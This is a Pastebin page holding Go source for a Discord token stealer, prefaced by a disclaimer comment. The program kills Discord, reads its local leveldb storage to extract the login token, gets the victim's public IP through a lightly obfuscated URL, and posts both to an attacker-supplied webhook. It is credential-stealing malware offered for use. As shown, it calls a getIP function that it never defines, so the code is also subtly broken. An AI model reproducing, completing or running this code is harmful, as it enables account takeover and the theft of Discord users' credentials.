Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package main
- // I am not at all responsible for what you do with this. This was a project that took like an hour to make at the request of one of my friends.
- import (
- "bytes"
- "fmt"
- "io/ioutil"
- "net/http"
- "os"
- "os/user"
- "path/filepath"
- "strings"
- "github.com/mitchellh/go-ps"
- )
- var discordDir string
- const noToken = "NO_TOKEN_FOUND"
- const webhookURL = "YOUR_URL_HERE"
- func main() {
- a()
- b()
- token := c()
- if token == noToken {
- e(webhookURL, noToken)
- } else {
- e(webhookURL, token)
- }
- }
- func a() {
- usr, err := user.Current()
- if err != nil {
- panic(err)
- }
- discordDir = usr.HomeDir + "\\AppData\\Roaming\\Discord\\Local Storage\\leveldb\\"
- }
- func d() []string {
- files, err := ioutil.ReadDir(discordDir)
- if err != nil {
- panic(err)
- }
- var ldbFiles []string
- for _, f := range files {
- if filepath.Ext(f.Name()) == ".ldb" {
- ldbFiles = append(ldbFiles, discordDir + f.Name())
- }
- }
- return ldbFiles
- }
- func b() {
- processes, _ := ps.Processes()
- for _, p := range processes {
- if strings.ToLower(p.Executable()) == "discord.exe" {
- pro, _ := os.FindProcess(p.Pid())
- pro.Kill()
- }
- }
- }
- func c() string {
- fileString := ""
- for _, f := range d() {
- b, err := ioutil.ReadFile(f)
- if err != nil {
- return noToken
- }
- if strings.Contains(string(b), "oken") {
- fileString = string(b)
- break
- }
- }
- if fileString == "" {
- return noToken
- }
- token := strings.Split(strings.Split(fileString, "oken")[1], "\"")[1]
- return token
- }
- func f() string {
- response, err := http.Get(strings.ReplaceAll("httpx://api.ipify.org", "x", "s"))
- if err != nil {
- panic(err)
- }
- defer response.Body.Close()
- body, err := ioutil.ReadAll(response.Body)
- if err != nil {
- panic(err)
- }
- return string(body)
- }
- func e(webhook, token string) bool {
- request := "{\"username\": \"Token Stealer\",\"avatar_url\": \"" + strings.ReplaceAll("httpx://regmedia.co.uk/2019/08/15/thief .jpg", "x", "s") + "\",\"embeds\": [{\"description\": \"IP: " + getIP() + "\", \"color\": 16411130}, {\"description\": \"Token: " + token + "\", \"color\": 16411130}]}"
- resp, err := http.Post(webhook, "application/json", bytes.NewBuffer([]byte(request)))
- if err != nil {
- return false
- }
- body, err := ioutil.ReadAll(resp.Body)
- defer resp.Body.Close()
- if err != nil {
- return false
- }
- return true
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement